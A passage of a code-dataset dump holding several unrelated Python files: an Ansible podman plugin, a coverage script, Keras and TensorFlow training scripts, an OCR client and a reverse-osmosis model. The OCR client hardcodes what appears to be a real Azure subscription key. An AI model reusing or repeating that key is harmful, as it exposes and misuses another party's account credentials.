len(self.missing_points())\n\n\tdef svg(self):\n\t\tif (self._d != 2): return \"\"\n\t\tstep = int(200/(self._q-2))\n\t\tmaxsize = step*(self._q-2)\n\t\ts = \"\"\n\t\tfor y in range(0,201,step):\n\t\t\ts = s + \"\" + \"\\n\"\n\t\tfor x in range(0,201,step):\n\t\t\ts = s + \"\" + \"\\n\"\n\t\tfor p in self._P:\n\t\t\ts = s + \"\" + \"\\n\"\n\t\tfor p in self.missing_points():\n\t\t\ts = s + \"\" + \"\\n\"\n\t\tsvg_intro = \"\"\n\t\ttrans_intro = \"\"\n\t\ttrans_end = \"\"\n\t\tsvg_end = \"\"\n\t\treturn svg_intro + trans_intro + s + trans_end + svg_end\n\n\tdef z(self,regen=False):\n\t\tif hasattr(self,\"_zeros\") and not regen:\n\t\t\treturn self._zeros\n\t\tpolynomial = Polynomial(self._q,self._P)\n\t\tself._zeros = polynomial.max_zeros()\n\t\treturn self._zeros\n\n\n\n\n\nif __name__ == \"__main__\":\n\tq = 8\n\tc = Config(q,[[0,0],[1,1],[2,2]])\n\tp = Polynomial(q,c._P)\n\tprint(c.z())\n\tprint(c.z())\n\t\n","sub_path":"configurations.py","file_name":"configurations.py","file_ext":"py","file_size_in_byte":4866,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"612430653","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n# Copyright 2020 Red Hat, Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nfrom __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\n\nfrom ansible.plugins.action import ActionBase\nfrom ansible.utils.display import Display\n\nDISPLAY = Display()\n\n\nclass ActionModule(ActionBase):\n \"\"\"Action plugin for podman_container module\"\"\"\n\n _VALID_ARGS = frozenset((\n 'containers',\n ))\n\n def __init__(self, *args, **kwargs):\n super(ActionModule, self).__init__(*args, **kwargs)\n\n def run(self, tmp=None, task_vars=None):\n self._supports_check_mode = True\n self._supports_async = True\n del tmp # tmp no longer has any effect\n if task_vars is None:\n task_vars = {}\n\n if 'containers' not in self._task.args:\n return {'failed': True,\n 'msg': 'Task must have \"containers\" argument!'}\n containers = self._task.args.get('containers')\n if not containers:\n return {'failed': True,\n 'msg': 'Task must have non empty \"containers\" argument!'}\n DISPLAY.vvvv('Running for containers: %s' % str(containers))\n wrap_async = self._task.async_val and (\n not self._connection.has_native_async)\n results = [self._execute_module(\n module_name='podman_container',\n module_args=container,\n task_vars=task_vars, wrap_async=wrap_async\n ) for container in containers]\n\n changed = any([i.get('changed', False) for i in results])\n skipped = all([i.get('skipped', False) for i in results])\n failed = any([i.get('failed', False) for i in results])\n\n try:\n if not wrap_async:\n # remove a temporary path we created\n self._remove_tmp_path(self._connection._shell.tmpdir)\n except Exception:\n pass\n finally:\n if skipped:\n return {'results': results,\n 'changed': False,\n 'skipped': skipped}\n if failed:\n msg = \"\\n\".join([i.get('msg', '') for i in results])\n return {'results': results,\n 'changed': changed,\n 'failed': failed,\n 'msg': msg}\n return {'results': results,\n 'changed': changed,\n 'failed': False,\n 'msg': 'All items completed'}\n","sub_path":"tripleo_ansible/ansible_plugins/action/podman_containers.py","file_name":"podman_containers.py","file_ext":"py","file_size_in_byte":3080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"62562660","text":"import os\nimport subprocess\nimport shutil\nimport webbrowser\nfrom itertools import chain\n\ndemos = []\ndemo_folder = \"demos\"\n# Usual Linux excludes\nexcludes = [\"stackcheck\", \"selfyield\", \"alloc\"]\n\n# Find all demos\nfor f in os.listdir(demo_folder):\n if os.path.isfile(os.path.join(demo_folder, f)) and \\\n f.endswith(\".c\"):\n demos.append(os.path.splitext(f)[0])\ndemos = [d for d in demos if d not in excludes]\n\n# Folder to store all coverage data\nif os.path.isdir(\"cov\"):\n shutil.rmtree(\"cov\")\nos.mkdir(\"cov\")\n\n# Sub folders for each demo's coverage\nmap(os.mkdir, [\"cov/{}_cov\".format(d) for d in demos])\n\n# Configure for Linux\nsubprocess.check_call([\"cmake\", \".\",\n \"-DBUILD_PLATFORM=linux\",\n \"-DOPT_LEVEL=0\",\n \"-DCOVERAGE=ON\"])\n\ncov_dirs = []\nfor demo in demos:\n subprocess.check_call([\"make\", \"clean\"])\n subprocess.check_call([\"make\", \"run_{}\".format(demo)])\n\n cov_folder = \"cov/{}_cov/\".format(demo)\n cov_dirs.append(cov_folder)\n\n # Copy all coverage files to the demo's folder\n for root, dirs, files in os.walk(\"CMakeFiles\"):\n for f in files:\n if f.endswith(\".gcda\") or f.endswith(\".gcno\"):\n path = os.path.join(root, f)\n shutil.move(path, os.path.join(cov_folder, f))\n\n# Generate report\nlargs = [\"lcov\", \"-c\"]\nlargs.extend(chain(*[(\"-d\", d) for d in cov_dirs]))\nlargs.extend([\"--output-file\", \"overall_coverage.info\"])\nsubprocess.check_call(largs)\n\n# Generate HTML report\nsubprocess.check_call([\"genhtml\",\n \"overall_coverage.info\",\n \"--output-directory\",\n \"out\"])\nwebbrowser.open(\"out/index.html\")\n","sub_path":"get_linux_coverage.py","file_name":"get_linux_coverage.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"334996690","text":"import numpy as np\nimport os\nimport sys\nimport argparse\nimport sklearn\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation, Dropout, Flatten\nfrom keras.callbacks import ModelCheckpoint\n\nbase_path = os.path.dirname(os.path.realpath(__file__))\ndata_path = os.path.join(base_path,'data')\nweight_path = os.path.join(base_path,'weight')\neps = 1e-7\n### my normalize ###\ndef normalize(data):\n mean = []\n for i in range(data.shape[1]):\n col = data[:,i]\n eps_count = len(col[col == eps ])\n mean.append(sum(data[:,i])/(data.shape[0]-eps_count))\n mean = np.array(mean)\n std = []\n for i in range(data.shape[1]):\n col = data[:,i]\n eps_count = len(col[col == eps ])\n std.append( np.sqrt(sum((col[col != eps]-mean[i])*(col[col != eps]-mean[i]))/(data.shape[0]-eps_count)) )\n std = np.array(std)\n for i in range(data.shape[1]):\n for j in range(data.shape[0]):\n if data[j,i] != eps:\n data[j,i] = (data[j,i] - mean[i])/std[i]\n return data\n\n### load training data ###\ntrain_data_sj = []\ntrain_data_iq = []\nwith open(os.path.join(data_path,'dengue_features_train.csv')) as f:\n for i,line in enumerate(f.readlines()):\n if i == 0:\n continue\n if line.strip().split(',')[0] == 'sj':\n train_data_sj.append(line.strip().split(','))\n elif line.strip().split(',')[0] == 'iq':\n train_data_iq.append(line.strip().split(','))\n### convert the '' to eps ###\ntrain_data_sj = np.array(train_data_sj)\ntrain_data_sj[train_data_sj == ''] = eps\ntrain_data_iq = np.array(train_data_iq)\ntrain_data_iq[train_data_iq == ''] = eps\n\ntrain_sj_info = np.array([ train_data_sj[i][1:4] for i in range(train_data_sj.shape[0]) ])\ntrain_iq_info = np.array([ train_data_iq[i][1:4] for i in range(train_data_iq.shape[0]) ])\ntrain_sj_feat = np.array([ np.insert(train_data_sj[i][4:],0,train_data_sj[i][2]) for i in range(train_data_sj.shape[0]) ]).astype(float)\ntrain_iq_feat = np.array([ np.insert(train_data_sj[i][4:],0,train_data_iq[i][2]) for i in range(train_data_iq.shape[0]) ]).astype(float)\n\ntrain_sj_feat = normalize(train_sj_feat)\ntrain_iq_feat = normalize(train_iq_feat)\n\n###load labels\ntrain_label_sj = []\ntrain_label_iq = []\nwith open(os.path.join(data_path,'dengue_labels_train.csv')) as f:\n for i,line in enumerate(f.readlines()):\n if i == 0:\n continue\n if line.strip().split(',')[0] == 'sj':\n train_label_sj.append(line.strip().split(','))\n elif line.strip().split(',')[0] == 'iq':\n train_label_iq.append(line.strip().split(','))\n\ntrain_label_sj = np.array(train_label_sj)\ntrain_label_iq = np.array(train_label_iq)\n\n#train_sj_info_l = np.array([ train_label_sj[i][1:3] for i in range(train_label_sj.shape[0]) ])\n#train_iq_info_l = np.array([ train_label_iq[i][1:3] for i in range(train_label_iq.shape[0]) ])\ntrain_sj_label = np.array([ train_label_sj[i][3] for i in range(train_label_sj.shape[0]) ]).astype(float)\ntrain_iq_label = np.array([ train_label_iq[i][3] for i in range(train_label_iq.shape[0]) ]).astype(float)\n\n##Build different model for sj and iq###\n\nmodel_sj = Sequential()\nmodel_sj.add(Dense(21,input_dim = 21,activation = 'relu'))\nmodel_sj.add(Dropout(0.4))\nmodel_sj.add(Dense(64,activation = 'relu'))\nmodel_sj.add(Dropout(0.25))\nmodel_sj.add(Dense(32,activation = 'relu'))\nmodel_sj.add(Dense(1,activation = 'relu'))\nmodel_sj.summary()\nmodel_sj.compile(loss = 'mean_squared_error',optimizer = 'adam',metrics = ['mae'])\n\nfilepath_sj=os.path.join(weight_path,\"sj_weights_best.hdf5\")\ncheckpoint = ModelCheckpoint(filepath_sj, monitor='val_mean_absolute_error', verbose=1, save_best_only=True, mode='auto',period = 1)\ncallbacks_list = [checkpoint]\n\nmodel_sj.fit(x = train_sj_feat,y = train_sj_label,batch_size = 1024,epochs = 1000,validation_split = 0.1,callbacks = callbacks_list)\nmodel_iq = Sequential()\nmodel_iq.add(Dense(21,input_dim = 21,activation = 'relu'))\nmodel_iq.add(Dropout(0.4))\nmodel_iq.add(Dense(32,activation = 'relu'))\nmodel_iq.add(Dropout(0.25))\nmodel_iq.add(Dense(64,activation = 'relu'))\nmodel_iq.add(Dropout(0.25))\nmodel_iq.add(Dense(32,activation = 'relu'))\nmodel_iq.add(Dense(1,activation = 'relu'))\nmodel_iq.summary()\nmodel_iq.compile(loss = 'mean_squared_error',optimizer = 'adam',metrics = ['mae'])\n\nfilepath_iq=os.path.join(weight_path,\"iq_weights_best.hdf5\")\ncheckpoint = ModelCheckpoint(filepath_iq, monitor='val_mean_absolute_error', verbose=1, save_best_only=True, mode='auto',period = 1)\ncallbacks_list = [checkpoint]\n\nmodel_iq.fit(x = train_iq_feat,y = train_iq_label,batch_size = 512,epochs = 1000,validation_split = 0.1, callbacks = callbacks_list)\n###load testing data\n\ntest_data_sj = []\ntest_data_iq = []\nwith open(os.path.join(data_path,'dengue_features_test.csv')) as f:\n for i,line in enumerate(f.readlines()):\n if i == 0:\n continue\n if line.strip().split(',')[0] == 'sj':\n test_data_sj.append(line.strip().split(','))\n elif line.strip().split(',')[0] == 'iq':\n test_data_iq.append(line.strip().split(','))\n\ntest_data_sj = np.array(test_data_sj)\ntest_data_iq = np.array(test_data_iq)\n\ntest_data_sj = np.array(test_data_sj)\ntest_data_sj[test_data_sj == ''] = eps\ntest_data_iq = np.array(test_data_iq)\ntest_data_iq[test_data_iq == ''] = eps\n\ntest_sj_info = np.array([ test_data_sj[i][0:3] for i in range(test_data_sj.shape[0]) ])\ntest_iq_info = np.array([ test_data_iq[i][0:3] for i in range(test_data_iq.shape[0]) ])\ntest_sj_feat = np.array([ np.insert(test_data_sj[i][4:],0,test_data_sj[i][2]) for i in range(test_data_sj.shape[0]) ]).astype('float')\ntest_iq_feat = np.array([ np.insert(test_data_iq[i][4:],0,test_data_iq[i][2]) for i in range(test_data_iq.shape[0]) ]).astype('float')\n\ntest_sj_feat = normalize(test_sj_feat)\ntest_iq_feat = normalize(test_iq_feat)\n\nans_sj = np.round(np.array(model_sj.predict(test_sj_feat))).reshape(-1)\nans_iq = np.round(np.array(model_iq.predict(test_iq_feat))).reshape(-1)\n\nwith open('ans.csv','w') as f:\n f.write('city,year,weekofyear,total_cases\\n')\n for idx, info in enumerate(test_sj_info):\n print(ans_sj[idx])\n f.write('{},{},{},{}\\n'.format(info[0],info[1],info[2],int(ans_sj[idx])))\n for idx, info in enumerate(test_iq_info):\n f.write('{},{},{},{}\\n'.format(info[0],info[1],info[2],int(ans_iq[idx])))\n\n","sub_path":"final/DengAI/final.py","file_name":"final.py","file_ext":"py","file_size_in_byte":6387,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"186559205","text":"################################################################################\r\n# Michael Guerzhoy and Davi Frossard, 2016\r\n# AlexNet implementation in TensorFlow, with weights\r\n# Details:\r\n# http://www.cs.toronto.edu/~guerzhoy/tf_alexnet/\r\n#\r\n# With code from https://github.com/ethereon/caffe-tensorflow\r\n# Model from https://github.com/BVLC/caffe/tree/master/models/bvlc_alexnet\r\n# Weights from Caffe converted using https://github.com/ethereon/caffe-tensorflow\r\n#\r\n#\r\n################################################################################\r\n\r\nfrom numpy import *\r\nimport os\r\n# from pylab import *\r\nimport numpy as np\r\n# import matplotlib.pyplot as plt\r\n# import matplotlib.cbook as cbook\r\nimport time\r\nfrom scipy.misc import imread\r\nfrom scipy.misc import imresize\r\nimport matplotlib.image as mpimg\r\nfrom scipy.ndimage import filters\r\nimport urllib\r\nfrom numpy import random\r\nfrom six.moves import cPickle as pickle\r\nimport tensorflow as tf\r\n\r\nfrom caffe_classes import class_names\r\n\r\ntrain_x = zeros((1, 227, 227, 2)).astype(float32)\r\ntrain_y = zeros((1, 1000))\r\nxdim = train_x.shape[1:]\r\nydim = train_y.shape[1]\r\n\r\n################################################################################\r\n# Read Image, and change to BGR\r\n\r\n\r\nim1 = (imread(\"laska.png\")[:, :, :3]).astype(float32)\r\nim1 = im1 - mean(im1)\r\nim1[:, :, 0], im1[:, :, 2] = im1[:, :, 2], im1[:, :, 0]\r\n# im1 = imresize(im1,(227,227,3),'bilinear')\r\nim1 = im1[:, :, 0:2]\r\n\r\nim2 = (imread(\"H_801.png\")[:, :, :3]).astype(float32)\r\nim2[:, :, 0], im2[:, :, 2] = im2[:, :, 2], im2[:, :, 0]\r\nim2 = imresize(im2, (227, 227, 3), 'bilinear')\r\nim2 = im2[:, :, 0:2]\r\n## load data\r\npickle_file = 'SHARKS.pickle'\r\nprint(\"Loading data..\")\r\nwith open(pickle_file, 'rb') as f:\r\n save = pickle.load(f)\r\n train_dataset = save['train_dataset']\r\n train_labels = save['train_labels']\r\n valid_dataset = save['valid_dataset']\r\n valid_labels = save['valid_labels']\r\n test_dataset = save['test_dataset']\r\n test_labels = save['test_labels']\r\n del save # hint to help gc free up memory\r\n print('Training set', train_dataset.shape, train_labels.shape)\r\n print('Validation set', valid_dataset.shape, valid_labels.shape)\r\n print('Test set', test_dataset.shape, test_labels.shape)\r\n# reformat\r\nimage_size = 224\r\nnum_labels = 3\r\nnum_channels = 2 # g and b\r\n\r\n\r\ndef reformat(dataset, labels):\r\n dataset = dataset.reshape(\r\n\r\n (-1, image_size, image_size, num_channels)).astype(np.float32)\r\n labels = (np.arange(num_labels) == labels[:, None]).astype(np.float32)\r\n return dataset, labels\r\n\r\n\r\ntrain_dataset, train_labels = reformat(train_dataset, train_labels)\r\nvalid_dataset, valid_labels = reformat(valid_dataset[0:200], valid_labels[0:200])\r\ntest_dataset, test_labels = reformat(test_dataset[0:200], test_labels[0:200])\r\nprint('Training set', train_dataset.shape, train_labels.shape)\r\nprint('Validation set', valid_dataset.shape, valid_labels.shape)\r\nprint('Test set', test_dataset.shape, test_labels.shape)\r\n# input\r\nbatch_size = 15\r\npatch_size = 3\r\ndepth = 8\r\nnum_hidden = 32\r\n\r\n\r\n# judge\r\ndef accuracy(predictions, labels):\r\n return (100.0 * np.sum(np.argmax(predictions, 1) == np.argmax(labels, 1))\r\n / predictions.shape[0])\r\n\r\n\r\nnet_data = load(open(\"bvlc_alexnet.npy\", \"rb\"), encoding=\"latin1\").item()\r\ntf_train_dataset = tf.placeholder(\r\n tf.float32, shape=(batch_size, image_size, image_size, num_channels))\r\ntf_train_labels = tf.placeholder(tf.float32, shape=(batch_size, num_labels))\r\ntf_valid_dataset = tf.constant(valid_dataset)\r\ntf_test_dataset = tf.constant(test_dataset)\r\n\r\n\r\ndef conv(input, kernel, biases, k_h, k_w, c_o, s_h, s_w, padding=\"VALID\", group=1):\r\n '''From https://github.com/ethereon/caffe-tensorflow\r\n '''\r\n c_i = input.get_shape()[-1]\r\n assert c_i % group == 0\r\n assert c_o % group == 0\r\n convolve = lambda i, k: tf.nn.conv2d(i, k, [1, s_h, s_w, 1], padding=padding)\r\n\r\n if group == 1:\r\n conv = convolve(input, kernel)\r\n else:\r\n input_groups = tf.split(input, group, 3) # tf.split(3, group, input)\r\n kernel_groups = tf.split(kernel, group, 3) # tf.split(3, group, kernel)\r\n output_groups = [convolve(i, k) for i, k in zip(input_groups, kernel_groups)]\r\n conv = tf.concat(output_groups, 3) # tf.concat(3, output_groups)\r\n return tf.reshape(tf.nn.bias_add(conv, biases), [-1] + conv.get_shape().as_list()[1:])\r\n\r\n\r\nx = tf.placeholder(tf.float32, (None,) + xdim)\r\n\r\nfc7W = tf.constant(net_data[\"fc7\"][0]) # tf.truncated_normal( [4096, 512], stddev=0.01)\r\nfc7b = tf.constant(net_data[\"fc7\"][1])\r\n# tf.zeros([512])\r\n\r\nfc8W = tf.Variable(tf.truncated_normal(\r\n [4096, 3], stddev=0.01)) # net_data[\"fc8\"][0][:,0:3])\r\nfc8b = tf.Variable(tf.zeros([3])) # net_data[\"fc8\"][1][0:3])\r\n\r\n\r\ndef model(data):\r\n # conv1\r\n # conv(11, 11, 96, 4, 4, padding='VALID', name='conv1')\r\n k_h = 11 \r\n k_w = 11 \r\n c_o = 96 \r\n s_h = 4 \r\n s_w = 4\r\n conv1W = tf.constant(net_data[\"conv1\"][0][:, :, 0:2, :])\r\n conv1b = tf.constant(net_data[\"conv1\"][1])\r\n conv1_in = conv(data, conv1W, conv1b, k_h, k_w, c_o, s_h, s_w, padding=\"SAME\", group=1)\r\n conv1 = tf.nn.relu(conv1_in)\r\n\r\n # lrn1\r\n # lrn(2, 2e-05, 0.75, name='norm1')\r\n radius = 2 \r\n alpha = 2e-05 \r\n beta = 0.75 \r\n bias = 1.0\r\n lrn1 = tf.nn.local_response_normalization(conv1,\r\n depth_radius=radius,\r\n alpha=alpha,\r\n beta=beta,\r\n bias=bias)\r\n\r\n # maxpool1\r\n # max_pool(3, 3, 2, 2, padding='VALID', name='pool1')\r\n k_h = 3 \r\n k_w = 3 \r\n s_h = 2 \r\n s_w = 2 \r\n padding = 'VALID'\r\n maxpool1 = tf.nn.max_pool(lrn1, ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)\r\n\r\n # conv2\r\n # conv(5, 5, 256, 1, 1, group=2, name='conv2')\r\n k_h = 5 \r\n k_w = 5 \r\n c_o = 256 \r\n s_h = 1 \r\n s_w = 1 \r\n group = 2\r\n conv2W = tf.constant(net_data[\"conv2\"][0])\r\n conv2b = tf.constant(net_data[\"conv2\"][1])\r\n conv2_in = conv(maxpool1, conv2W, conv2b, k_h, k_w, c_o, s_h, s_w, padding=\"SAME\", group=group)\r\n conv2 = tf.nn.relu(conv2_in)\r\n\r\n # lrn2\r\n # lrn(2, 2e-05, 0.75, name='norm2')\r\n radius = 2 \r\n alpha = 2e-05 \r\n beta = 0.75 \r\n bias = 1.0\r\n lrn2 = tf.nn.local_response_normalization(conv2,\r\n depth_radius=radius,\r\n alpha=alpha,\r\n beta=beta,\r\n bias=bias)\r\n\r\n # maxpool2\r\n # max_pool(3, 3, 2, 2, padding='VALID', name='pool2')\r\n k_h = 3 \r\n k_w = 3 \r\n s_h = 2 \r\n s_w = 2 \r\n padding = 'VALID'\r\n maxpool2 = tf.nn.max_pool(lrn2, ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)\r\n\r\n # conv3\r\n # conv(3, 3, 384, 1, 1, name='conv3')\r\n k_h = 3 \r\n k_w = 3 \r\n c_o = 384 \r\n s_h = 1 \r\n s_w = 1 \r\n group = 1\r\n conv3W = tf.constant(net_data[\"conv3\"][0])\r\n conv3b = tf.constant(net_data[\"conv3\"][1])\r\n conv3_in = conv(maxpool2, conv3W, conv3b, k_h, k_w, c_o, s_h, s_w, padding=\"SAME\", group=group)\r\n conv3 = tf.nn.relu(conv3_in)\r\n\r\n # conv4\r\n # conv(3, 3, 384, 1, 1, group=2, name='conv4')\r\n k_h = 3 \r\n k_w = 3 \r\n c_o = 384 \r\n s_h = 1 \r\n s_w = 1 \r\n group = 2\r\n conv4W = tf.constant(net_data[\"conv4\"][0])\r\n conv4b = tf.constant(net_data[\"conv4\"][1])\r\n conv4_in = conv(conv3, conv4W, conv4b, k_h, k_w, c_o, s_h, s_w, padding=\"SAME\", group=group)\r\n conv4 = tf.nn.relu(conv4_in)\r\n\r\n # conv5\r\n # conv(3, 3, 256, 1, 1, group=2, name='conv5')\r\n k_h = 3 \r\n k_w = 3 \r\n c_o = 256 \r\n s_h = 1 \r\n s_w = 1 \r\n group = 2\r\n conv5W = tf.constant(net_data[\"conv5\"][0])\r\n conv5b = tf.constant(net_data[\"conv5\"][1])\r\n conv5_in = conv(conv4, conv5W, conv5b, k_h, k_w, c_o, s_h, s_w, padding=\"SAME\", group=group)\r\n conv5 = tf.nn.relu(conv5_in)\r\n\r\n # maxpool5\r\n # max_pool(3, 3, 2, 2, padding='VALID', name='pool5')\r\n k_h = 3 \r\n k_w = 3 \r\n s_h = 2 \r\n s_w = 2 \r\n padding = 'VALID'\r\n maxpool5 = tf.nn.max_pool(conv5, ksize=[1, k_h, k_w, 1], strides=[1, s_h, s_w, 1], padding=padding)\r\n\r\n # fc6\r\n # fc(4096, name='fc6')\r\n fc6W = tf.constant(net_data[\"fc6\"][0])\r\n fc6b = tf.constant(net_data[\"fc6\"][1])\r\n fc6 = tf.nn.relu_layer(tf.reshape(maxpool5, [-1, int(prod(maxpool5.get_shape()[1:]))]), fc6W, fc6b)\r\n\r\n # fc7\r\n # fc(4096, name='fc7')\r\n # fc7W = tf.constant(net_data[\"fc7\"][0])\r\n # fc7b = tf.constant(net_data[\"fc7\"][1])\r\n fc7 = tf.nn.relu_layer(fc6, fc7W, fc7b)\r\n\r\n # fc8\r\n # fc(1000, relu=False, name='fc8')\r\n # drop out!!!!!\r\n fc8 = tf.nn.xw_plus_b(fc7, fc8W, fc8b)\r\n\r\n return fc8\r\n\r\n\r\n# prob\r\n# softmax(name='prob'))\r\n\r\nlogits = model(tf_train_dataset)\r\nprob = tf.nn.softmax(logits)\r\nloss = tf.reduce_mean(\r\n tf.nn.softmax_cross_entropy_with_logits(labels=tf_train_labels, logits=logits))\r\n\r\noptimizer = tf.train.AdamOptimizer(0.00001).minimize(loss)\r\n\r\ntrain_prediction = tf.nn.softmax(logits)\r\nvalid_prediction = tf.nn.softmax(model(tf_valid_dataset))\r\ntest_prediction = tf.nn.softmax(model(tf_test_dataset))\r\n\r\ninit = tf.initialize_all_variables()\r\nsess = tf.Session()\r\nsess.run(init)\r\nprint('Initialized')\r\nnum_steps = 10001\r\nfor step in range(num_steps):\r\n offset = (step * batch_size) % (train_labels.shape[0] - batch_size)\r\n batch_data = train_dataset[offset:(offset + batch_size), :, :, :]\r\n batch_labels = train_labels[offset:(offset + batch_size), :]\r\n feed_dict = {tf_train_dataset: batch_data, tf_train_labels: batch_labels}\r\n _, l, predictions = sess.run(\r\n [optimizer, loss, train_prediction], feed_dict=feed_dict)\r\n if (step % 50 == 0):\r\n print('Minibatch loss at step %d: %f' % (step, l))\r\n print('Minibatch accuracy: %.1f%%' % accuracy(predictions, batch_labels))\r\n valid_prediction_res = sess.run(valid_prediction)\r\n print(valid_prediction_res)\r\n print(valid_labels)\r\n print('Validation accuracy: %.1f%%' % accuracy(\r\n valid_prediction_res, valid_labels))\r\nprint('Test accuracy: %.1f%%' % accuracy(sess.run(test_prediction), test_labels))\r\n\r\nt = time.time()\r\noutput = sess.run(prob, feed_dict={x: [im1, im2]})\r\nprint(im1.shape)\r\n################################################################################\r\n\r\n# Output:\r\n\r\n\r\nfor input_im_ind in range(output.shape[0]):\r\n inds = argsort(output)[input_im_ind, :]\r\n print(\"Image\", input_im_ind)\r\n for i in range(5):\r\n print(class_names[inds[-1 - i]], output[input_im_ind, inds[-1 - i]])\r\n\r\nprint(time.time() - t)\r\n","sub_path":"FishRecognise/Toronto.py","file_name":"Toronto.py","file_ext":"py","file_size_in_byte":10802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"435790273","text":"import http.client, urllib.request, urllib.parse, urllib.error, base64\nimport json\n\ndef recognizePict(body):\n headers = {\n # Request headers\n 'Content-Type': 'application/octet-stream',\n 'Ocp-Apim-Subscription-Key': '757b85955e6f409486152f2137c54130',\n }\n\n params = urllib.parse.urlencode({\n # Request parameters\n 'language': 'zh-Hans',\n 'detectOrientation ': 'true',\n })\n data = \"\"\n try:\n conn = http.client.HTTPSConnection('westus.api.cognitive.microsoft.com')\n conn.request(\"POST\", \"/vision/v1.0/ocr?%s\" % params, body, headers)\n response = conn.getresponse()\n data = response.read().decode('utf-8')\n # print(data)\n conn.close()\n except Exception as e:\n print(\"[Errno {0}] {1}\".format(e.errno, e.strerror))\n \n return data\n\nif __name__ == '__main__':\n # body = {'url':'http://oiktkinkq.bkt.clouddn.com/6014527D-024A-44A2-9C6F-8616C118A72B.png'}\n image = bytearray(open('screencut.jpg','rb').read())\n body = image\n data = recognizePict(body)\n jsondata = json.loads(data)\n # from pprint import pprint\n # pprint(jsondata)\n regions = jsondata['regions']\n content = []\n for region in regions:\n lines = region['lines']\n for line in lines:\n str = ''\n for word in line['words']:\n str += word['text']\n content.append(str)\n print(content)","sub_path":"microsoft/OCR/ocr.py","file_name":"ocr.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"117573799","text":"###############################################################################\n# WaterTAP Copyright (c) 2021, The Regents of the University of California,\n# through Lawrence Berkeley National Laboratory, Oak Ridge National\n# Laboratory, National Renewable Energy Laboratory, and National Energy\n# Technology Laboratory (subject to receipt of any required approvals from\n# the U.S. Dept. of Energy). All rights reserved.\n#\n# Please see the files COPYRIGHT.md and LICENSE.md for full copyright and license\n# information, respectively. These files are also available online at the URL\n# \"https://github.com/watertap-org/watertap/\"\n#\n###############################################################################\n\n# Import Pyomo libraries\nfrom pyomo.environ import (\n Var,\n Param,\n NonNegativeReals,\n NegativeReals,\n units as pyunits,\n exp,\n value,\n Constraint,\n check_optimal_termination,\n Set,\n)\nfrom pyomo.common.config import ConfigValue, In\n\n# Import IDAES cores\nfrom idaes.core import (\n ControlVolume1DBlock,\n declare_process_block_class,\n MomentumBalanceType,\n useDefault,\n)\nfrom idaes.core.control_volume1d import DistributedVars\nfrom idaes.core.util.misc import add_object_reference\nfrom idaes.core.util import get_solver, scaling as iscale\nfrom idaes.core.util.initialization import solve_indexed_blocks\nfrom watertap.core.util.initialization import check_solve, check_dof\nfrom watertap.unit_models._reverse_osmosis_base import (\n ConcentrationPolarizationType,\n MassTransferCoefficient,\n PressureChangeType,\n _ReverseOsmosisBaseData,\n)\nimport idaes.logger as idaeslog\n\n\n__author__ = \"Adam Atia\"\n\n# Set up logger\n_log = idaeslog.getLogger(__name__)\n\n\n@declare_process_block_class(\"ReverseOsmosis1D\")\nclass ReverseOsmosis1DData(_ReverseOsmosisBaseData):\n \"\"\"Standard 1D Reverse Osmosis Unit Model Class.\"\"\"\n\n CONFIG = _ReverseOsmosisBaseData.CONFIG()\n\n CONFIG.declare(\n \"area_definition\",\n ConfigValue(\n default=DistributedVars.uniform,\n domain=In(DistributedVars),\n description=\"Argument for defining form of area variable\",\n doc=\"\"\"Argument defining whether area variable should be spatially\n variant or not. **default** - DistributedVars.uniform.\n **Valid values:** {\n DistributedVars.uniform - area does not vary across spatial domain,\n DistributedVars.variant - area can vary over the domain and is indexed\n by time and space.}\"\"\",\n ),\n )\n\n CONFIG.declare(\n \"transformation_method\",\n ConfigValue(\n default=useDefault,\n description=\"Discretization method to use for DAE transformation\",\n doc=\"\"\"Discretization method to use for DAE transformation. See Pyomo\n documentation for supported transformations.\"\"\",\n ),\n )\n\n CONFIG.declare(\n \"transformation_scheme\",\n ConfigValue(\n default=useDefault,\n description=\"Discretization scheme to use for DAE transformation\",\n doc=\"\"\"Discretization scheme to use when transforming domain. See\n Pyomo documentation for supported schemes.\"\"\",\n ),\n )\n\n CONFIG.declare(\n \"finite_elements\",\n ConfigValue(\n default=20,\n domain=int,\n description=\"Number of finite elements in length domain\",\n doc=\"\"\"Number of finite elements to use when discretizing length \n domain (default=20)\"\"\",\n ),\n )\n\n CONFIG.declare(\n \"collocation_points\",\n ConfigValue(\n default=5,\n domain=int,\n description=\"Number of collocation points per finite element\",\n doc=\"\"\"Number of collocation points to use per finite element when\n discretizing length domain (default=5)\"\"\",\n ),\n )\n\n def _process_config(self):\n if self.config.transformation_method is useDefault:\n _log.warning(\n \"Discretization method was \"\n \"not specified for the \"\n \"reverse osmosis module. \"\n \"Defaulting to finite \"\n \"difference method.\"\n )\n self.config.transformation_method = \"dae.finite_difference\"\n\n if self.config.transformation_scheme is useDefault:\n _log.warning(\n \"Discretization scheme was \"\n \"not specified for the \"\n \"reverse osmosis module.\"\n \"Defaulting to backward finite \"\n \"difference.\"\n )\n self.config.transformation_scheme = \"BACKWARD\"\n\n def build(self):\n \"\"\"\n Build 1D RO model (pre-DAE transformation).\n\n Args:\n None\n\n Returns:\n None\n \"\"\"\n # Call UnitModel.build to setup dynamics\n super().build()\n\n # Check configuration errors\n self._process_config()\n\n # Build 1D Control volume for feed side\n 